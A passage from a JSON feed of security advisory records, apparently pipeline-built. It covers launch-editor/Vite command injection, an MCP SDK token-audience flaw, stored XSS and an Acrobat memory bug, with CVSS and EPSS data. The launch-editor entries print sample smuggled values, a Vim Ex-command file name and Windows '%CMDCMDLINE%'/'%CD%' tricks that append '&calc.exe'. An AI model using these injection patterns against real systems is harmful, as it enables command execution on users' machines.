metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-pqxq-w44r-73xw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-pqxq-w44r-73xw, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111750&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111750, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112944","cveId":"CVE-2026-112944","aliases":["GHSA-r825-w8mm-5pxw"],"kind":"vulnerability","title":"launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors","summary":"`launch-editor` forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.\n\nOnly apps that match all of the following conditions are affected:","detail":"### Summary\n\n`launch-editor` forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.\n\n### Impact\n\n#### Direct `launch-editor` users\n\nOnly apps that match all of the following conditions are affected:\n\n- The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory\n- The user uses or the app specifies any of the following editors:\n - Vim (including gVim)\n - MacVim\n - Emacs (including Emacsclient)\n - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)\n- The first argument of `launchEditor` can start with `+` or `-` or the user is using WSL\n\n#### `launch-editor-middleware` users\n\nOnly apps that match the following conditions are affected:\n\n- The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory\n- The user uses or the app specifies any of the following editors:\n - Vim (including gVim)\n - MacVim\n - Emacs (including Emacsclient)\n - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)\n- launch-editor older than v2.2.0 is used, or the user is using WSL\n\n#### Vite users\n\nOnly apps that match the following conditions are affected:\n\n- The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory\n- The user uses or the app specifies any of the following editors:\n - Vim (including gVim)\n - MacVim\n - Emacs (including Emacsclient)\n - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)\n- The user is using WSL\n\n### Details\n\n`launchEditor(file)` function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with `-` (also `+` for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with `+` as an Ex command. As a result, an existing relative directory such as:\n```\n+call writefile([\"SAFE_MARKER\"],\"LAUNCH_EDITOR_MARKER\")|qa!\n```\nis not treated as a filename when passed to Vim. Vim executes the embedded Ex command.\n\nThe following editor has a potentially destructive operation exposed to the CLI arguments:\n- Vim (including gVim)\n- MacVim\n- Emacs (including Emacsclient)\n- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)\n\n`launch-editor-middleware` v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, `launch-editor` converts the paths to relative paths internally, so those are still affected.\n\nVite 2.0.0+ uses `launch-editor-middleware` v2.2.0+ so the WSL users are only affected.\n\nAffected package ranges reported by GitHub:\nlaunch-editor: <= 2.14.1\nvite: >= 8.3.0, <= 8.3.2\nvite: >= 8.2.0, <= 8.2.3\nvite: >= 8.0.0, <= 8.1.5\nvite: >= 7.0.0, <= 7.3.6\nvite: <= 6.4.3\nvite-plus: <= 1.0.0","action":"GitHub lists first patched versions: launch-editor: 2.14.2; vite: 8.3.3; vite: 8.2.4; vite: 8.1.6; vite: 7.3.7; vite: 6.4.4; vite-plus: 1.1.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T19:51:52.000Z","updatedAt":"2026-10-20T19:51:54.000Z","regions":["Global"],"vendor":null,"product":"launch-editor, vite, vite, vite, vite, vite, vite-plus","stacks":["JavaScript packages (npm)","launch-editor","vite","vite-plus","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-r825-w8mm-5pxw","asOf":"2026-10-20T19:51:54.000Z"},"epss":{"probability":0.00705,"percentile":0.53085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112944&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-r825-w8mm-5pxw","url":"https://github.com/advisories/GHSA-r825-w8mm-5pxw","type":"primary","publishedAt":"2026-10-20T19:51:52.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-r825-w8mm-5pxw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-r825-w8mm-5pxw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-r825-w8mm-5pxw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-r825-w8mm-5pxw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-r825-w8mm-5pxw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-r825-w8mm-5pxw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-r825-w8mm-5pxw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-r825-w8mm-5pxw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-r825-w8mm-5pxw, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112944&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112944, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111771","cveId":"CVE-2026-111771","aliases":["GHSA-rvq5-wwqv-78pq"],"kind":"vulnerability","title":"MCP TypeScript SDK: Server bearer authentication accepted tokens issued for another service","summary":"Affected versions:\n\n- `@modelcontextprotocol/sdk` 1.6.0 through 1.31.0\n- `@modelcontextprotocol/server` 2.0.0 through 2.2.0\n- `@modelcontextprotocol/express` 2.0.0 through 2.0.1\n- `@modelcontextprotocol/server-legacy` 2.0.0 through 2.3.0","detail":"### Summary\nIn affected versions, the SDK's server-side bearer authentication had no way to check that a token was issued for your server (its audience). Where one authorization server issues tokens for several services, a valid token for another service was also accepted by your MCP server.\n\n### Am I affected?\nYes, if your HTTP server uses `requireBearerAuth()` or `verifyBearerToken()`, its authorization server also issues tokens for other services, and your `verifyAccessToken()` does not check the token's audience (`aud`) itself.\n\nAffected versions:\n\n- `@modelcontextprotocol/sdk` 1.6.0 through 1.31.0\n- `@modelcontextprotocol/server` 2.0.0 through 2.2.0\n- `@modelcontextprotocol/express` 2.0.0 through 2.0.1\n- `@modelcontextprotocol/server-legacy` 2.0.0 through 2.3.0\n\n### Fix\nUpgrade to:\n\n- 1.x: `@modelcontextprotocol/sdk` 1.32.0 or later\n- 2.x: `@modelcontextprotocol/server` 2.3.0 or later, together with `@modelcontextprotocol/express` 2.0.2 or later if you use it\n- `@modelcontextprotocol/server-legacy` 2.3.1 or later\n\n**Upgrading alone changes nothing.** The patched versions add an `expectedResource` setting that is off by default. To turn the check on, make both of these changes together:\n\n1. Pass the audience your authorization server puts in tokens for your server: `requireBearerAuth({ verifier, expectedResource: new URL('https://mcp.example.com/mcp') })`.\n2. Return the token's audience from `verifyAccessToken()` as `AuthInfo.resource`, also a `URL`.\n\nA token for another service then gets `401`. With only the first change, every request gets `401`.\n\nIf you cannot upgrade yet, reject any token whose `aud` does not include your server inside `verifyAccessToken()`. That closes the issue on every version.\n\nAffected package ranges reported by GitHub:\n@modelcontextprotocol/sdk: >= 1.6.0, < 1.32.0\n@modelcontextprotocol/server: >= 2.0.0, < 2.3.0\n@modelcontextprotocol/express: >= 2.0.0, < 2.0.2\n@modelcontextprotocol/server-legacy: >= 2.0.0, < 2.3.1","action":"GitHub lists first patched versions: @modelcontextprotocol/sdk: 1.32.0; @modelcontextprotocol/server: 2.3.0; @modelcontextprotocol/express: 2.0.2; @modelcontextprotocol/server-legacy: 2.3.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T19:43:36.000Z","updatedAt":"2026-10-20T19:43:37.000Z","regions":["Global"],"vendor":null,"product":"@modelcontextprotocol/sdk, @modelcontextprotocol/server, @modelcontextprotocol/express, @modelcontextprotocol/server-legacy","stacks":["MCP servers and SDKs","JavaScript packages (npm)","@modelcontextprotocol/sdk","@modelcontextprotocol/server","@modelcontextprotocol/express","@modelcontextprotocol/server-legacy","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-rvq5-wwqv-78pq","asOf":"2026-10-20T19:43:37.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-rvq5-wwqv-78pq","url":"https://github.com/advisories/GHSA-rvq5-wwqv-78pq","type":"primary","publishedAt":"2026-10-20T19:43:36.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-rvq5-wwqv-78pq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-rvq5-wwqv-78pq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-rvq5-wwqv-78pq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-rvq5-wwqv-78pq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-rvq5-wwqv-78pq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-rvq5-wwqv-78pq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-rvq5-wwqv-78pq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-rvq5-wwqv-78pq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-rvq5-wwqv-78pq, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113810","cveId":"CVE-2026-113810","aliases":[],"kind":"vulnerability","title":"A Stored Cross-Site Scripting vulnerability exists in the SNS enrollment Portal.","summary":"A Stored Cross-Site Scripting vulnerability exists in the SNS enrollment Portal.\n\n\n\nThrough the captive portal an attacker can inject an XSS when requesting certificate creation for user. The stored XSS can only be triggered during validation by the administrator.","detail":"A Stored Cross-Site Scripting vulnerability exists in the SNS enrollment Portal.\n\n\n\nThrough the captive portal an attacker can inject an XSS when requesting certificate creation for user. The stored XSS can only be triggered during validation by the administrator.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T19:17:34.323Z","updatedAt":"2026-10-20T19:35:23.397Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113810","asOf":"2026-10-20T19:35:23.397Z"},"epss":{"probability":0.00099,"percentile":0.00787,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113810&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113810","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113810","type":"primary","publishedAt":"2026-10-20T19:17:34.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113810&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113810, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113808","cveId":"CVE-2026-113808","aliases":[],"kind":"vulnerability","title":"A Stored Cross-Site Scripting vulnerability exists in the SNS enrollment Portal.","summary":"A Stored Cross-Site Scripting vulnerability exists in the SNS enrollment Portal.\n\n\n\nThrough the captive portal an attacker can inject an XSS when requesting user creation. The stored XSS can only be triggered during validation by the administrator.","detail":"A Stored Cross-Site Scripting vulnerability exists in the SNS enrollment Portal.\n\n\n\nThrough the captive portal an attacker can inject an XSS when requesting user creation. The stored XSS can only be triggered during validation by the administrator.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T19:17:34.193Z","updatedAt":"2026-10-20T19:35:23.397Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113808","asOf":"2026-10-20T19:35:23.397Z"},"epss":{"probability":0.00214,"percentile":0.11703,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113808&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113808","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113808","type":"primary","publishedAt":"2026-10-20T19:17:34.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113808&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113808, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100134","cveId":"CVE-2026-100134","aliases":[],"kind":"vulnerability","title":"Acrobat for Edge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Acrobat for Edge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Acrobat for Edge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T19:17:11.213Z","updatedAt":"2026-10-21T16:17:13.790Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Adobe Acrobat and Reader"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100134","asOf":"2026-10-21T16:17:13.790Z"},"epss":{"probability":0.00793,"percentile":0.56099,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100134&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100134","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100134","type":"primary","publishedAt":"2026-10-20T19:17:11.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100134&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100134, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112943","cveId":"CVE-2026-112943","aliases":["GHSA-698v-4r3x-3vcv"],"kind":"vulnerability","title":"launch-editor: escapeCmdArgs() omits % escaping on Windows","summary":"`launch-editor` did not escape `%` on Windows when passing an argument to `cmd`. When an environment variable contained a malicious value, it was possible that that content to be executed.\n\nOnly apps that match all of the following conditions are affected:","detail":"### Summary\n\n`launch-editor` did not escape `%` on Windows when passing an argument to `cmd`. When an environment variable contained a malicious value, it was possible that that content to be executed.\n\n### Impact\n\nOnly apps that match all of the following conditions are affected:\n\n- The user uses Windows\n- An attacker can place a file with the malicious filename containing `&` or `%`\n- Either of\n - An attacker can inject an environment variable with a malicious value\n - An attacker can add a NTFS alternate data stream to the file placed\n\n### Details\n\nUnlike `.sh` files, `.bat` / `.cmd` files on Windows cannot be called directly using [`child_process.spawn`](https://nodejs.org/docs/latest-v24.x/api/child_process.html#child_processspawncommand-args-options) and requires passing them as an argument of `cmd.exe`. To do so, launch-editor escapes the arguments passed to `cmd.exe`. But `launch-editor` did not escape `%` which is used for environment variables.\n\nBecause `launch-editor` checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.\n\n- If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set ` &calc.exe ` to `%ENV%`) and call `launchEditor` with `something%ENV%`.\n- If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named `~-38%calc.exe`), they can call `launchEditor` with `something %CMDCMDLINE:~-38%calc.exe`.\n- If the attacker can create a filename containing the `%CD%` and the subcommand (e.g. `&calc.exe `), they can call `launchEditor` with `./%CD%`\n\nAffected package ranges reported by GitHub:\nlaunch-editor: <= 2.14.1\nvite: >= 8.3.0, <= 8.3.2\nvite: >= 8.2.0, <= 8.2.3\nvite: >= 8.0.0, <= 8.1.5\nvite: >= 7.0.0, <= 7.3.6\nvite: <= 6.4.3\nvite-plus: <= 1.0.0","action":"GitHub lists first patched versions: launch-editor: 2.14.2; vite: 8.3.3; vite: 8.2.4; vite: 8.1.6; vite: 7.3.7; vite: 6.4.4; vite-plus: 1.1.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:30:24.000Z","updatedAt":"2026-10-20T18:30:25.000Z","regions":["Global"],"vendor":null,"product":"launch-editor, vite, vite, vite, vite, vite, vite-plus","stacks":["JavaScript packages (npm)","launch-editor","vite","vite-plus","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-698v-4r3x-3vcv","asOf":"2026-10-20T18:30:25.000Z"},"epss":{"probability":0.00414,"percentile":0.35428,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112943&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-698v-4r3x-3vcv","url":"https://github.com/advisories/GHSA-698v-4r3x-3vcv","type":"primary","publishedAt":"2026-10-20T18:30:24.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-698v-4r3x-3vcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-698v-4r3x-3vcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-698v-4r3x-3vcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-698v-4r3x-3vcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied 